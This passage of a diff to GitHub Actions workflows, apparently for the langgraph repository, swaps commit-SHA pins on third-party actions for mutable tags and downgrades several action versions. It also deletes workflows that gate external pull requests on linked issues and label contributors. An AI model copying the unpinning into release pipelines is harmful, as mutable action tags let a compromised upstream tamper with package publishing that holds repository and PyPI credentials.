uses: ./.github/actions/uv_setup
- name: Set up Python $${ env.PYTHON_VERSION }}
uses: astral-sh/setup-uv@v7
with:
python-version: ${{ env.PYTHON_VERSION }}
enable-cache: true
cache-suffix: "release"
working-directory: ${{ inputs.working-directory }}
# We want to keep this build stage *separate* from the release stage,
# so that there's no sharing of permissions between them.
@@ -48,7 +48,7 @@ jobs:
working-directory: ${{ inputs.working-directory }}
- name: Upload build
uses: actions/upload-artifact@v7
uses: actions/upload-artifact@v6
with:
name: test-dist
path: ${{ inputs.working-directory }}/dist/
@@ -76,13 +76,13 @@ jobs:
steps:
- uses: actions/checkout@v6
- uses: actions/download-artifact@v8
- uses: actions/download-artifact@v7
with:
name: test-dist
path: ${{ inputs.working-directory }}/dist/
- name: Publish to test PyPI
uses: pypa/gh-action-pypi-publish@ed0c53931b1dc9bd32cbe73a98c7f6766f8a527e # release/v1
uses: pypa/gh-action-pypi-publish@release/v1
with:
packages-dir: ${{ inputs.working-directory }}/dist/
verbose: true
+2 -2
View File
@@ -20,11 +20,11 @@ jobs:
- uses: actions/checkout@v6
- run: SHA=$(git rev-parse HEAD) && echo "SHA=$SHA" >> $GITHUB_ENV
- name: Set up Python 3.11
uses: ./.github/actions/uv_setup
uses: astral-sh/setup-uv@v7
with:
python-version: "3.11"
enable-cache: true
cache-suffix: "bench"
working-directory: libs/langgraph
- name: Install dependencies
run: uv sync --group test
- name: Run benchmarks
+3 -3
View File
@@ -18,15 +18,15 @@ jobs:
- uses: actions/checkout@v6
- id: files
name: Get changed files
uses: Ana06/get-changed-files@25f79e676e7ea1868813e21465014798211fad8c # v2.3.0
uses: Ana06/get-changed-files@v2.3.0
with:
format: json
- name: Set up Python 3.11
uses: ./.github/actions/uv_setup
uses: astral-sh/setup-uv@v7
with:
python-version: "3.11"
enable-cache: true
cache-suffix: "bench"
working-directory: libs/langgraph
- name: Install dependencies
run: uv sync --group test
- name: Download baseline
+3 -3
View File
@@ -30,7 +30,7 @@ jobs:
deps: ${{ steps.filter.outputs.deps || 'true' }}
steps:
- uses: actions/checkout@v6
- uses: dorny/paths-filter@fbd0ab8f3e69293af611ebaee6363fc25e6d187d # v4
- uses: dorny/paths-filter@v3
if: github.event_name != 'workflow_dispatch'
id: filter
with:
@@ -125,11 +125,11 @@ jobs:
steps:
- uses: actions/checkout@v6
- name: Set up Python ${{ matrix.python-version }}
uses: ./.github/actions/uv_setup
uses: astral-sh/setup-uv@v7
with:
python-version: "3.13"
enable-cache: true
cache-suffix: "schema-check-cli"
working-directory: libs/cli
- name: Install CLI dependencies
run: |
cd libs/cli
+1 -1
View File
@@ -46,4 +46,4 @@ jobs:
- name: Deploy to GitHub Pages
id: deployment
uses: actions/deploy-pages@v5
uses: actions/deploy-pages@v4
+1 -1
View File
@@ -12,7 +12,7 @@ jobs:
runs-on: ubuntu-latest
steps:
- name: Validate PR Title
uses: amannn/action-semantic-pull-request@48f256284bd46cdaab1048c3721360e808335d50 # v6
uses: amannn/action-semantic-pull-request@v6
env:
GITHUB_TOKEN: ${{ secrets.GITHUB_TOKEN }}
with:
+13 -14
View File
@@ -28,11 +28,11 @@ jobs:
- uses: actions/checkout@v6
- name: Set up Python
uses: ./.github/actions/uv_setup
uses: astral-sh/setup-uv@v7
with:
python-version: ${{ env.PYTHON_VERSION }}
enable-cache: true
cache-suffix: "release"
working-directory: ${{ inputs.working-directory }}
# We want to keep this build stage *separate* from the release stage,
# so that there's no sharing of permissions between them.
@@ -50,7 +50,7 @@ jobs:
working-directory: ${{ inputs.working-directory }}
- name: Upload build
uses: actions/upload-artifact@v7
uses: actions/upload-artifact@v6
with:
name: dist
path: ${{ inputs.working-directory }}/dist/
@@ -173,11 +173,10 @@ jobs:
# used in the real world.
- name: Set up Python
uses: ./.github/actions/uv_setup
uses: astral-sh/setup-uv@v7
with:
python-version: ${{ env.PYTHON_VERSION }}
enable-cache: false
working-directory: ${{ inputs.working-directory }}
enable-cache: true
- name: Import published package
shell: bash
@@ -264,19 +263,19 @@ jobs:
- uses: actions/checkout@v6
- name: Set up Python
uses: ./.github/actions/uv_setup
uses: astral-sh/setup-uv@v7
with:
python-version: ${{ env.PYTHON_VERSION }}
enable-cache: true
cache-suffix: "release"
working-directory: ${{ inputs.working-directory }}
- uses: actions/download-artifact@v8
- uses: actions/download-artifact@v7
with:
name: dist
path: ${{ inputs.working-directory }}/dist/
- name: Publish package distributions to PyPI
uses: pypa/gh-action-pypi-publish@ed0c53931b1dc9bd32cbe73a98c7f6766f8a527e # release/v1
uses: pypa/gh-action-pypi-publish@release/v1
with:
packages-dir: ${{ inputs.working-directory }}/dist/
verbose: true
@@ -305,19 +304,19 @@ jobs:
- uses: actions/checkout@v6
- name: Set up Python
uses: ./.github/actions/uv_setup
uses: astral-sh/setup-uv@v7
with:
python-version: ${{ env.PYTHON_VERSION }}
enable-cache: true
cache-suffix: "release"
working-directory: ${{ inputs.working-directory }}
- uses: actions/download-artifact@v8
- uses: actions/download-artifact@v7
with:
name: dist
path: ${{ inputs.working-directory }}/dist/
- name: Create Tag
uses: ncipollo/release-action@339a81892b84b4eeb0f6e744e4574d79d0d9b8dd # v1
uses: ncipollo/release-action@v1
with:
artifacts: "dist/*"
token: ${{ secrets.GITHUB_TOKEN }}
-161
View File
@@ -1,161 +0,0 @@
# Reopen PRs that were auto-closed by require_issue_link.yml when the
# contributor was not assigned to the linked issue. When a maintainer
# assigns the contributor to the issue, this workflow finds matching
# closed PRs, verifies the issue link, and reopens them.
#
# Uses the default GITHUB_TOKEN (not a PAT or app token) so that the
# reopen and label-removal events do NOT re-trigger other workflows.
# GitHub suppresses events created by the default GITHUB_TOKEN within
# workflow runs to prevent infinite loops.
name: Reopen PR on Issue Assignment
on:
issues:
types: [assigned]
permissions:
contents: read
jobs:
reopen-linked-prs:
runs-on: ubuntu-latest
permissions:
pull-requests: write
steps:
- name: Find and reopen matching PRs
uses: actions/github-script@v8
with:
script: |
const { owner, repo } = context.repo;
const issueNumber = context.payload.issue.number;
const assignee = context.payload.assignee.login;
console.log(
`Issue #${issueNumber} assigned to ${assignee} — searching for closed PRs to reopen`,
);
const q = [
`is:pr`,
`is:closed`,
`author:${assignee}`,
`label:missing-issue-link`,
`repo:${owner}/${repo}`,
].join(' ');
let data;
try {
({ data } = await github.rest.search.issuesAndPullRequests({
q,
per_page: 30,
}));
} catch (e) {
throw new Error(
`Failed to search for closed PRs to reopen after assigning ${assignee} ` +
`to #${issueNumber} (HTTP ${e.status ?? 'unknown'}): ${e.message}`,
);
}
if (data.total_count === 0) {
console.log('No matching closed PRs found');
return;
}
console.log(`Found ${data.total_count} candidate PR(s)`);
// Must stay in sync with the identical pattern in require_issue_link.yml
const pattern = /(?:close[sd]?|fix(?:e[sd])?|resolve[sd]?)\s*#(\d+)/gi;
for (const item of data.items) {
const prNumber = item.number;
const body = item.body || '';
const matches = [...body.matchAll(pattern)];
const referencedIssues = matches.map(m => parseInt(m[1], 10));
if (!referencedIssues.includes(issueNumber)) {
console.log(`PR #${prNumber} does not reference #${issueNumber} — skipping`);
continue;
}
// Skip if already bypassed
const labels = item.labels.map(l => l.name);
if (labels.includes('bypass-issue-check')) {
console.log(`PR #${prNumber} already has bypass-issue-check — skipping`);
continue;
}
// Reopen first, remove label second — a closed PR that still has
// missing-issue-link is recoverable; a closed PR with the label
// stripped is invisible to both workflows.
try {
await github.rest.pulls.update({
owner,
repo,
pull_number: prNumber,
state: 'open',
});
console.log(`Reopened PR #${prNumber}`);
} catch (e) {
if (e.status === 422) {
// Head branch deleted — PR is unrecoverable. Notify the
// contributor so they know to open a new PR.
core.warning(`Cannot reopen PR #${prNumber}: head branch was likely deleted`);
try {
await github.rest.issues.createComment({
owner,
repo,
issue_number: prNumber,
body:
`You have been assigned to #${issueNumber}, but this PR could not be ` +
`reopened because the head branch has been deleted. Please open a new ` +
`PR referencing the issue.`,
});
} catch (commentErr) {
core.warning(
`Also failed to post comment on PR #${prNumber}: ${commentErr.message}`,
);
}
continue;
}
// Transient errors (rate limit, 5xx) should fail the job so
// the label is NOT removed and the run can be retried.
throw e;
}
// Remove missing-issue-link label only after successful reopen
try {
await github.rest.issues.removeLabel({
owner,
repo,
issue_number: prNumber,
name: 'missing-issue-link',
});
console.log(`Removed missing-issue-link from PR #${prNumber}`);
} catch (e) {
if (e.status !== 404) throw e;
}
// Minimize stale enforcement comment (best-effort;
// sync w/ require_issue_link.yml minimize blocks)
try {
const marker = '<!-- require-issue-link -->';
const comments = await github.paginate(
github.rest.issues.listComments,
{ owner, repo, issue_number: prNumber, per_page: 100 },
);
const stale = comments.find(c => c.body && c.body.includes(marker));
if (stale) {
await github.graphql(`
mutation($id: ID!) {
minimizeComment(input: {subjectId: $id, classifier: OUTDATED}) {
minimizedComment { isMinimized }
}
}
`, { id: stale.node_id });
console.log(`Minimized stale enforcement comment ${stale.id} as outdated`);
}
} catch (e) {
core.warning(`Could not minimize stale comment on PR #${prNumber}: ${e.message}`);
}
}
-467
View File
@@ -1,467 +0,0 @@
# Require external PRs to reference an approved issue (e.g. Fixes #NNN) and
# the PR author to be assigned to that issue. On failure the PR is
# labeled "missing-issue-link", commented on, and closed.
#
# Maintainer override: an org member can reopen the PR or remove
# "missing-issue-link" — both add "bypass-issue-check" and reopen.
#
# Dependency: tag-external-prs.yml must apply the "external" label
# first. This workflow does NOT trigger on "opened" (new PRs have no labels
# yet, so the gate would always skip).
name: Require Issue Link
on:
pull_request_target:
# NEVER CHECK OUT UNTRUSTED CODE FROM A PR's HEAD IN A pull_request_target JOB.
# Doing so would allow attackers to execute arbitrary code in the context of your repository.
types: [edited, reopened, labeled, unlabeled]
# ──────────────────────────────────────────────────────────────────────────────
# Enforcement gate: set to 'true' to activate the issue link requirement.
# When 'false', the workflow still runs the check logic (useful for dry-run
# visibility) but will NOT label, comment, close, or fail PRs.
# ──────────────────────────────────────────────────────────────────────────────
env:
ENFORCE_ISSUE_LINK: "true"
permissions:
contents: read
jobs:
check-issue-link:
# Run when the "external" label is added, on edit/reopen if already labeled,
# or when "missing-issue-link" is removed (triggers maintainer override check).
# Skip entirely when the PR already carries "trusted-contributor" or
# "bypass-issue-check".
if: >-
!contains(github.event.pull_request.labels.*.name, 'trusted-contributor') &&
!contains(github.event.pull_request.labels.*.name, 'bypass-issue-check') &&
(
(github.event.action == 'labeled' && github.event.label.name == 'external') ||
(github.event.action == 'unlabeled' && github.event.label.name == 'missing-issue-link' && contains(github.event.pull_request.labels.*.name, 'external')) ||
(github.event.action != 'labeled' && github.event.action != 'unlabeled' && contains(github.event.pull_request.labels.*.name, 'external'))
)
runs-on: ubuntu-latest
permissions:
actions: write
pull-requests: write
steps:
- name: Check for issue link and assignee
id: check-link
uses: actions/github-script@v8
with:
script: |
const { owner, repo } = context.repo;
const prNumber = context.payload.pull_request.number;
const action = context.payload.action;
// ── Helper: ensure a label exists, then add it to the PR ────────
async function ensureAndAddLabel(labelName, color) {
try {
await github.rest.issues.getLabel({ owner, repo, name: labelName });
} catch (e) {
if (e.status !== 404) throw e;
try {
await github.rest.issues.createLabel({ owner, repo, name: labelName, color });
} catch (createErr) {
// 422 = label was created by a concurrent run between our
// GET and POST — safe to ignore.
if (createErr.status !== 422) throw createErr;
}
}
await github.rest.issues.addLabels({
owner, repo, issue_number: prNumber, labels: [labelName],
});
}
// ── Helper: check if the user who triggered this event (reopened
// the PR / removed the label) has write+ access on the repo ───
// Uses the repo collaborator permission endpoint instead of the
// org membership endpoint. The org endpoint requires the caller
// to be an org member, which GITHUB_TOKEN (an app installation
// token) never is — so it always returns 403.
async function senderIsOrgMember() {
const sender = context.payload.sender?.login;
if (!sender) {
throw new Error('Event has no sender — cannot check permissions');
}
try {
const { data } = await github.rest.repos.getCollaboratorPermissionLevel({
owner, repo, username: sender,
});
const perm = data.permission;
if (['admin', 'maintain', 'write'].includes(perm)) {
console.log(`${sender} has ${perm} permission — treating as maintainer`);
return { isMember: true, login: sender };
}
console.log(`${sender} has ${perm} permission — not a maintainer`);
return { isMember: false, login: sender };
} catch (e) {
if (e.status === 404) {
console.log(`Cannot check permissions for ${sender} — treating as non-maintainer`);
return { isMember: false, login: sender };
}
const status = e.status ?? 'unknown';
throw new Error(
`Permission check failed for ${sender} (HTTP ${status}): ${e.message}`,
);
}
}
// ── Helper: apply maintainer bypass (shared by both override paths) ──
async function applyMaintainerBypass(reason) {
console.log(reason);
// Remove missing-issue-link if present
try {
await github.rest.issues.removeLabel({
owner, repo, issue_number: prNumber, name: 'missing-issue-link',
});
} catch (e) {
if (e.status !== 404) throw e;
}
// Reopen before adding bypass label — a failed reopen is more
// actionable than a closed PR with a bypass label stuck on it.
if (context.payload.pull_request.state === 'closed') {
try {
await github.rest.pulls.update({
owner, repo, pull_number: prNumber, state: 'open',
});
console.log(`Reopened PR #${prNumber}`);
} catch (e) {
// 422 if head branch deleted; 403 if permissions insufficient.
// Bypass labels still apply — maintainer can reopen manually.
core.warning(
`Could not reopen PR #${prNumber} (HTTP ${e.status ?? 'unknown'}): ${e.message}. ` +
`Bypass labels were applied — a maintainer may need to reopen manually.`,
);
}
}
// Add bypass-issue-check so future triggers skip enforcement
await ensureAndAddLabel('bypass-issue-check', '0e8a16');
// Minimize stale enforcement comment (best-effort; must not
// abort bypass — sync w/ reopen_on_assignment.yml & step below)
try {
const marker = '<!-- require-issue-link -->';
const comments = await github.paginate(
github.rest.issues.listComments,
{ owner, repo, issue_number: prNumber, per_page: 100 },
);
const stale = comments.find(c => c.body && c.body.includes(marker));
if (stale) {
await github.graphql(`
mutation($id: ID!) {
minimizeComment(input: {subjectId: $id, classifier: OUTDATED}) {
minimizedComment { isMinimized }
}
}
`, { id: stale.node_id });
console.log(`Minimized stale enforcement comment ${stale.id} as outdated`);
}
} catch (e) {
core.warning(`Could not minimize stale comment on PR #${prNumber}: ${e.message}`);
}
core.setOutput('has-link', 'true');
core.setOutput('is-assigned', 'true');
}
// ── Maintainer override: removed "missing-issue-link" label ─────
if (action === 'unlabeled') {
const { isMember, login } = await senderIsOrgMember();
if (isMember) {
await applyMaintainerBypass(
`Maintainer ${login} removed missing-issue-link from PR #${prNumber} — bypassing enforcement`,
);
return;
}
// Non-member removed the label — re-add it defensively and
// set failure outputs so downstream steps (comment, close) fire.
// NOTE: addLabels fires a "labeled" event, but the job-level gate
// only matches labeled events for "external", so no re-trigger.
console.log(`Non-member ${login} removed missing-issue-link — re-adding`);
try {
await ensureAndAddLabel('missing-issue-link', 'b76e79');
} catch (e) {
core.warning(
`Failed to re-add missing-issue-link (HTTP ${e.status ?? 'unknown'}): ${e.message}. ` +
`Downstream step will retry.`,
);
}
core.setOutput('has-link', 'false');
core.setOutput('is-assigned', 'false');
return;
}
// ── Maintainer override: reopened PR with "missing-issue-link" ──
const prLabels = context.payload.pull_request.labels.map(l => l.name);
if (action === 'reopened' && prLabels.includes('missing-issue-link')) {
const { isMember, login } = await senderIsOrgMember();
if (isMember) {
await applyMaintainerBypass(
`Maintainer ${login} reopened PR #${prNumber} — bypassing enforcement`,
);
return;
}
console.log(`Non-member ${login} reopened PR — proceeding with check`);
}
// ── Fetch live labels (race guard) ──────────────────────────────
const { data: liveLabels } = await github.rest.issues.listLabelsOnIssue({
owner, repo, issue_number: prNumber,
});
const liveNames = liveLabels.map(l => l.name);
if (liveNames.includes('trusted-contributor') || liveNames.includes('bypass-issue-check')) {
console.log('PR has trusted-contributor or bypass-issue-check label — bypassing');
core.setOutput('has-link', 'true');
core.setOutput('is-assigned', 'true');
return;
}
const body = context.payload.pull_request.body || '';
const pattern = /(?:close[sd]?|fix(?:e[sd])?|resolve[sd]?)\s*#(\d+)/gi;
const matches = [...body.matchAll(pattern)];
if (matches.length === 0) {
console.log('No issue link found in PR body');
core.setOutput('has-link', 'false');
core.setOutput('is-assigned', 'false');
return;
}
const issues = matches.map(m => `#${m[1]}`).join(', ');
console.log(`Found issue link(s): ${issues}`);
core.setOutput('has-link', 'true');
// Check whether the PR author is assigned to at least one linked issue
const prAuthor = context.payload.pull_request.user.login;
const MAX_ISSUES = 5;
const allIssueNumbers = [...new Set(matches.map(m => parseInt(m[1], 10)))];
const issueNumbers = allIssueNumbers.slice(0, MAX_ISSUES);
if (allIssueNumbers.length > MAX_ISSUES) {
core.warning(
`PR references ${allIssueNumbers.length} issues — only checking the first ${MAX_ISSUES}`,
);
}
let assignedToAny = false;
for (const num of issueNumbers) {
try {
const { data: issue } = await github.rest.issues.get({
owner, repo, issue_number: num,
});
const assignees = issue.assignees.map(a => a.login.toLowerCase());
if (assignees.includes(prAuthor.toLowerCase())) {
console.log(`PR author "${prAuthor}" is assigned to #${num}`);
assignedToAny = true;
break;
} else {
console.log(`PR author "${prAuthor}" is NOT assigned to #${num} (assignees: ${assignees.join(', ') || 'none'})`);
}
} catch (error) {
if (error.status === 404) {
console.log(`Issue #${num} not found — skipping`);
} else {
// Non-404 errors (rate limit, server error) must not be
// silently skipped — they could cause false enforcement
// (closing a legitimate PR whose assignment can't be verified).
throw new Error(
`Cannot verify assignee for issue #${num} (${error.status}): ${error.message}`,
);
}
}
}
core.setOutput('is-assigned', assignedToAny ? 'true' : 'false');
- name: Add missing-issue-link label
if: >-
env.ENFORCE_ISSUE_LINK == 'true' &&
(steps.check-link.outputs.has-link != 'true' || steps.check-link.outputs.is-assigned != 'true')
uses: actions/github-script@v8
with:
script: |
const { owner, repo } = context.repo;
const prNumber = context.payload.pull_request.number;
const labelName = 'missing-issue-link';
// Ensure the label exists (no checkout/shared helper available)
try {
await github.rest.issues.getLabel({ owner, repo, name: labelName });
} catch (e) {
if (e.status !== 404) throw e;
try {
await github.rest.issues.createLabel({
owner, repo, name: labelName, color: 'b76e79',
});
} catch (createErr) {
if (createErr.status !== 422) throw createErr;
}
}
await github.rest.issues.addLabels({
owner, repo, issue_number: prNumber, labels: [labelName],
});
- name: Remove missing-issue-link label and reopen PR
if: >-
env.ENFORCE_ISSUE_LINK == 'true' &&
steps.check-link.outputs.has-link == 'true' && steps.check-link.outputs.is-assigned == 'true'
uses: actions/github-script@v8
with:
script: |
const { owner, repo } = context.repo;
const prNumber = context.payload.pull_request.number;
try {
await github.rest.issues.removeLabel({
owner, repo, issue_number: prNumber, name: 'missing-issue-link',
});
} catch (error) {
if (error.status !== 404) throw error;
}
// Reopen if this workflow previously closed the PR. We check the
// event payload labels (not live labels) because we already removed
// missing-issue-link above; the payload still reflects pre-step state.
const labels = context.payload.pull_request.labels.map(l => l.name);
if (context.payload.pull_request.state === 'closed' && labels.includes('missing-issue-link')) {
await github.rest.pulls.update({
owner,
repo,
pull_number: prNumber,
state: 'open',
});
console.log(`Reopened PR #${prNumber}`);
}
// Minimize stale enforcement comment (best-effort;
// sync w/ applyMaintainerBypass above & reopen_on_assignment.yml)
try {
const marker = '<!-- require-issue-link -->';
const comments = await github.paginate(
github.rest.issues.listComments,
{ owner, repo, issue_number: prNumber, per_page: 100 },
);
const stale = comments.find(c => c.body && c.body.includes(marker));
if (stale) {
await github.graphql(`
mutation($id: ID!) {
minimizeComment(input: {subjectId: $id, classifier: OUTDATED}) {
minimizedComment { isMinimized }
}
}
`, { id: stale.node_id });
console.log(`Minimized stale enforcement comment ${stale.id} as outdated`);
}
} catch (e) {
core.warning(`Could not minimize stale comment on PR #${prNumber}: ${e.message}`);
}
- name: Post comment, close PR, and fail
if: >-
env.ENFORCE_ISSUE_LINK == 'true' &&
(steps.check-link.outputs.has-link != 'true' || steps.check-link.outputs.is-assigned != 'true')
uses: actions/github-script@v8
with:
script: |
const { owner, repo } = context.repo;
const prNumber = context.payload.pull_request.number;
const hasLink = '${{ steps.check-link.outputs.has-link }}' === 'true';
const isAssigned = '${{ steps.check-link.outputs.is-assigned }}' === 'true';
const marker = '<!-- require-issue-link -->';
let lines;
if (!hasLink) {
lines = [
marker,
'**This PR has been automatically closed** because it does not link to an approved issue.',
'',
'All external contributions must reference an approved issue or discussion. Please:',
'1. Find or [open an issue](https://github.com/' + owner + '/' + repo + '/issues/new/choose) describing the change',
'2. Wait for a maintainer to approve and assign you',
'3. Add `Fixes #<issue_number>`, `Closes #<issue_number>`, or `Resolves #<issue_number>` to your PR description and the PR will be reopened automatically',
'',
'*Maintainers: reopen this PR or remove the `missing-issue-link` label to bypass this check.*',
];
} else {
lines = [
marker,
'**This PR has been automatically closed** because you are not assigned to the linked issue.',
'',
'External contributors must be assigned to an issue before opening a PR for it. Please:',
'1. Comment on the linked issue to request assignment from a maintainer',
'2. Once assigned, your PR will be reopened automatically',
'',
'*Maintainers: reopen this PR or remove the `missing-issue-link` label to bypass this check.*',
];
}
const body = lines.join('\n');
// Deduplicate: check for existing comment with the marker
const comments = await github.paginate(
github.rest.issues.listComments,
{ owner, repo, issue_number: prNumber, per_page: 100 },
);
const existing = comments.find(c => c.body && c.body.includes(marker));
if (!existing) {
await github.rest.issues.createComment({
owner,
repo,
issue_number: prNumber,
body,
});
console.log('Posted requirement comment');
} else if (existing.body !== body) {
await github.rest.issues.updateComment({
owner,
repo,
comment_id: existing.id,
body,
});
console.log('Updated existing comment with new message');
} else {
console.log('Comment already exists — skipping');
}
// Close the PR
if (context.payload.pull_request.state === 'open') {
await github.rest.pulls.update({
owner,
repo,
pull_number: prNumber,
state: 'closed',
});
console.log(`Closed PR #${prNumber}`);
}
// Cancel all other in-progress and queued workflow runs for this PR
const headSha = context.payload.pull_request.head.sha;
for (const status of ['in_progress', 'queued']) {
const runs = await github.paginate(
github.rest.actions.listWorkflowRunsForRepo,
{ owner, repo, head_sha: headSha, status, per_page: 100 },
);
for (const run of runs) {
if (run.id === context.runId) continue;
try {
await github.rest.actions.cancelWorkflowRun({
owner, repo, run_id: run.id,
});
console.log(`Cancelled ${status} run ${run.id} (${run.name})`);
} catch (err) {
console.log(`Could not cancel run ${run.id}: ${err.message}`);
}
}
}
const reason = !hasLink
? 'PR must reference an issue using auto-close keywords (e.g., "Fixes #123").'
: 'PR author must be assigned to the linked issue.';
core.setFailed(reason);
-402
View File
@@ -1,402 +0,0 @@
# Automatically tag issues as "external" or "internal" based on whether
# the author is a member of the langchain-ai GitHub organization, and
# apply contributor tier labels to external contributors based on their
# merged PR history.
#
# PR labeling is handled by tag-external-prs.yml.
# PR + issue backfill lives in the backfill job below (workflow_dispatch).
#
# Setup Requirements:
# 1. Create a GitHub App with permissions:
# - Repository: Issues (write), Pull requests (write)
# - Organization: Members (read)
# 2. Install the app on your organization and this repository
# 3. Add these repository secrets:
# - ORG_MEMBERSHIP_APP_ID: Your app's ID
# - ORG_MEMBERSHIP_APP_PRIVATE_KEY: Your app's private key
#
# The GitHub App token is required to check private organization membership.
# Without it, the workflow will fail.
name: Tag External Issues
on:
issues:
types: [opened]
workflow_dispatch:
inputs:
backfill_type:
description: "Backfill type (for initial run)"
default: "both"
type: choice
options:
- prs
- issues
- both
max_items:
description: "Maximum number of items to process"
default: "100"
type: string
permissions:
contents: read
concurrency:
group: ${{ github.workflow }}-${{ github.event.issue.number || github.run_id }}
cancel-in-progress: true
jobs:
tag-external:
if: github.event_name == 'issues'
runs-on: ubuntu-latest
permissions:
issues: write
steps:
- name: Generate GitHub App token
id: app-token
uses: actions/create-github-app-token@v3
with:
app-id: ${{ secrets.ORG_MEMBERSHIP_APP_ID }}
private-key: ${{ secrets.ORG_MEMBERSHIP_APP_PRIVATE_KEY }}
- name: Check if contributor is external
if: steps.app-token.outcome == 'success'
id: check-membership
uses: actions/github-script@v8
with:
github-token: ${{ steps.app-token.outputs.token }}
script: |
const { owner, repo } = context.repo;
const author = context.payload.sender.login;
const senderType = context.payload.sender.type;
if (senderType === 'Bot') {
console.log(`${author} is a Bot — treating as internal`);
core.setOutput('is-external', 'false');
return;
}
try {
const membership = await github.rest.orgs.getMembershipForUser({
org: 'langchain-ai',
username: author,
});
const isExternal = membership.data.state !== 'active';
console.log(
isExternal
? `${author} has pending membership — treating as external`
: `${author} is an active member of langchain-ai`,
);
core.setOutput('is-external', isExternal ? 'true' : 'false');
} catch (e) {
if (e.status === 404) {
console.log(`${author} is not a member of langchain-ai`);
core.setOutput('is-external', 'true');
} else {
throw new Error(
`Membership check failed for ${author} (${e.status}): ${e.message}`,
);
}
}
- name: Apply contributor tier label
if: steps.check-membership.outputs.is-external == 'true'
uses: actions/github-script@v8
with:
github-token: ${{ secrets.GITHUB_TOKEN }}
script: |
const { owner, repo } = context.repo;
const issue = context.payload.issue;
const author = issue.user.login;
const issueNumber = issue.number;
const TRUSTED_THRESHOLD = 5;
const LABEL_COLOR = 'b76e79';
let mergedCount;
try {
const result = await github.rest.search.issuesAndPullRequests({
q: `repo:${owner}/${repo} is:pr is:merged author:"${author}"`,
per_page: 1,
});
mergedCount = result?.data?.total_count;
} catch (error) {
if (error?.status !== 422) throw error;
core.warning(`Search failed for ${author}; skipping tier label.`);
return;
}
if (mergedCount == null) {
core.warning(`Search response missing total_count for ${author}; skipping tier label.`);
return;
}
const tierLabel = mergedCount >= TRUSTED_THRESHOLD ? 'trusted-contributor' : null;
if (tierLabel) {
try {
await github.rest.issues.getLabel({ owner, repo, name: tierLabel });
} catch (e) {
if (e.status !== 404) throw e;
try {
await github.rest.issues.createLabel({ owner, repo, name: tierLabel, color: LABEL_COLOR });
} catch (createErr) {
if (createErr.status !== 422) throw createErr;
}
}
await github.rest.issues.addLabels({
owner, repo, issue_number: issueNumber, labels: [tierLabel],
});
console.log(`Applied '${tierLabel}' to #${issueNumber} (${mergedCount} merged PRs)`);
} else {
console.log(`No tier label for ${author} (${mergedCount} merged PRs)`);
}
- name: Add external label
if: steps.check-membership.outputs.is-external == 'true'
uses: actions/github-script@v8
with:
github-token: ${{ secrets.GITHUB_TOKEN }}
script: |
const { owner, repo } = context.repo;
const issue_number = context.payload.issue.number;
await github.rest.issues.addLabels({
owner, repo, issue_number, labels: ['external'],
});
console.log(`Added 'external' label to issue #${issue_number}`);
- name: Add internal label
if: steps.check-membership.outputs.is-external == 'false'
uses: actions/github-script@v8
with:
github-token: ${{ secrets.GITHUB_TOKEN }}
script: |
const { owner, repo } = context.repo;
const issue_number = context.payload.issue.number;
await github.rest.issues.addLabels({
owner, repo, issue_number, labels: ['internal'],
});
console.log(`Added 'internal' label to issue #${issue_number}`);
backfill:
if: github.event_name == 'workflow_dispatch'
runs-on: ubuntu-latest
permissions:
contents: read
issues: write
pull-requests: write
steps:
- name: Generate GitHub App token
id: app-token
uses: actions/create-github-app-token@v3
with:
app-id: ${{ secrets.ORG_MEMBERSHIP_APP_ID }}
private-key: ${{ secrets.ORG_MEMBERSHIP_APP_PRIVATE_KEY }}
- name: Backfill labels
uses: actions/github-script@v8
with:
github-token: ${{ steps.app-token.outputs.token }}
script: |
const { owner, repo } = context.repo;
const rawMax = '${{ inputs.max_items }}';
const maxItems = parseInt(rawMax, 10);
if (isNaN(maxItems) || maxItems <= 0) {
core.setFailed(`Invalid max_items: "${rawMax}" — must be a positive integer`);
return;
}
const backfillType = '${{ inputs.backfill_type }}';
const TRUSTED_THRESHOLD = 5;
const LABEL_COLOR = 'b76e79';
const tierLabels = ['trusted-contributor'];
// ── Helpers ─────────────────────────────────────────────────
async function ensureLabel(name) {
try {
await github.rest.issues.getLabel({ owner, repo, name });
} catch (e) {
if (e.status !== 404) throw e;
try {
await github.rest.issues.createLabel({ owner, repo, name, color: LABEL_COLOR });
} catch (createErr) {
if (createErr.status !== 422) throw createErr;
}
}
}
async function checkMembership(author, userType) {
if (userType === 'Bot') {
console.log(`${author} is a Bot — treating as internal`);
return { isExternal: false };
}
try {
const membership = await github.rest.orgs.getMembershipForUser({
org: 'langchain-ai',
username: author,
});
const isExternal = membership.data.state !== 'active';
console.log(
isExternal
? `${author} has pending membership — treating as external`
: `${author} is an active member of langchain-ai`,
);
return { isExternal };
} catch (e) {
if (e.status === 404) {
console.log(`${author} is not a member of langchain-ai`);
return { isExternal: true };
}
throw new Error(
`Membership check failed for ${author} (${e.status}): ${e.message}`,
);
}
}
async function getContributorInfo(contributorCache, author, userType) {
if (contributorCache.has(author)) return contributorCache.get(author);
const { isExternal } = await checkMembership(author, userType);
let mergedCount = null;
if (isExternal) {
try {
const result = await github.rest.search.issuesAndPullRequests({
q: `repo:${owner}/${repo} is:pr is:merged author:"${author}"`,
per_page: 1,
});
mergedCount = result?.data?.total_count ?? null;
} catch (e) {
if (e?.status !== 422) throw e;
core.warning(`Search failed for ${author}; skipping tier.`);
}
}
const info = { isExternal, mergedCount };
contributorCache.set(author, info);
return info;
}
// ── Setup ────────────────────────────────────────────────────
for (const name of tierLabels) {
await ensureLabel(name);
}
const contributorCache = new Map();
let processed = 0;
let failures = 0;
// ── Backfill PRs ─────────────────────────────────────────────
if (backfillType === 'prs' || backfillType === 'both') {
const prs = await github.paginate(github.rest.pulls.list, {
owner, repo, state: 'open', per_page: 100,
});
for (const pr of prs) {
if (processed >= maxItems) break;
try {
const author = pr.user.login;
const info = await getContributorInfo(contributorCache, author, pr.user.type);
const labels = [info.isExternal ? 'external' : 'internal'];
if (info.isExternal && info.mergedCount != null && info.mergedCount >= TRUSTED_THRESHOLD) {
labels.push('trusted-contributor');
}
// Ensure all labels exist before batch add
for (const name of labels) {
await ensureLabel(name);
}
// Remove stale tier labels
const currentLabels = (await github.paginate(
github.rest.issues.listLabelsOnIssue,
{ owner, repo, issue_number: pr.number, per_page: 100 },
)).map(l => l.name ?? '');
for (const name of currentLabels) {
if (tierLabels.includes(name) && !labels.includes(name)) {
try {
await github.rest.issues.removeLabel({
owner, repo, issue_number: pr.number, name,
});
} catch (e) {
if (e.status !== 404) throw e;
}
}
}
await github.rest.issues.addLabels({
owner, repo, issue_number: pr.number, labels,
});
console.log(`PR #${pr.number} (${author}): ${labels.join(', ')}`);
